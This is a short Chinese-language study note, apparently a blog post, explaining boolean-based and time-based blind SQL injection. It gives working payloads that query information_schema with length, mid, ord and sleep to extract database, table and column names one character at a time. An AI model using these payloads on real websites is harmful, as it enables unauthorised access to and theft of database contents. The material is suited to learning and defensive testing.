SQL注入之布爾注入原理

注:本人僅供參考學習

布爾注入定義及原理:
所謂盲注就是在服務器沒有錯誤回顯的時候完成注入攻擊。
盲注分爲布爾盲注和時間盲注
布爾盲注:boolean 根據注入信息返回true or fales 沒有任何報錯信息
時間盲注:界面返回值ture 不管輸入任何值,返回的狀況都是正常的來處。加入特定的時間函數,經過查看web頁面返回的時間差來判斷注入的語句是否正確。web

布爾注入經常使用函數sql

length(str):返回str字符串的長度。
substr(str, pos, len):將str從pos位置開始截取len長度的字符進 行返回。注意這裏的pos位置是從1開始的,不是數組的0開始
mid(str,pos,len):跟上面的同樣,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代碼值。
ord(str):同上,返回ascii碼
if(a,b,c) :a爲條件,a爲true,返回b,不然返回c,如if(1>2,1,0),返回0

過程數據庫

1.首先咱們須要判斷數據庫長度 
' or Length(database()) = 8 #返回true說明數據庫長度爲8
2.獲取數據庫名字
' or ord(mid(database(),1,1)) ='ascill值'#
依次獲取
3.獲取表的總數
' or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() )= 2#
4.獲取表的長度(第一個表)
' or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1 )= (猜想得長度)#
5.獲取表的內容
' or  mid((select TABLE_NAME from information_schema.TABLES where 
TABLE_SCHEMA=database() limit 0,1),1,1)   = 'a' #
6.獲取表的字段的總數
' or  (select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=表名 ) = 8#8返回true說明有8個表
依次類推,最後推出內容。由於是盲猜因此只能這樣一個一個去推手工比較麻煩 一般使用sqlmap進行注入

延時注入
要是頁面都返回false咱們就只能用if和sleep函數判斷是ture仍是false
正確就延遲n秒返回,錯誤就0s返回數組

id=2 and  Sleep( if(  (SELECT count(SCHEMA_NAME) FROM information_schema.SCHEMATA) = 7  ,0,5 )                         )好像這個是說若是數據庫總數等於7的話0s返回不然5s

其餘操做就跟布爾注入同樣,走布爾思路就好了。服務器

整體思路
獲取數據庫的總數
獲取別的數據庫長度
獲取別的數據庫名字
獲取當前數據庫長度
獲取當前數據庫內容
獲取當前數據庫表的總數
獲取當前數據庫表的長度
獲取當前數據庫表的內容
獲取當前數據庫表的字段總數
獲取當前數據庫表的字段第2個長度
獲取當前數據庫表的字段第N個內容
獲取內容

暫時總結到這裏,布爾的話藉助工具跑比較方便,手注太麻煩了。函數

相關文章
相關標籤/搜索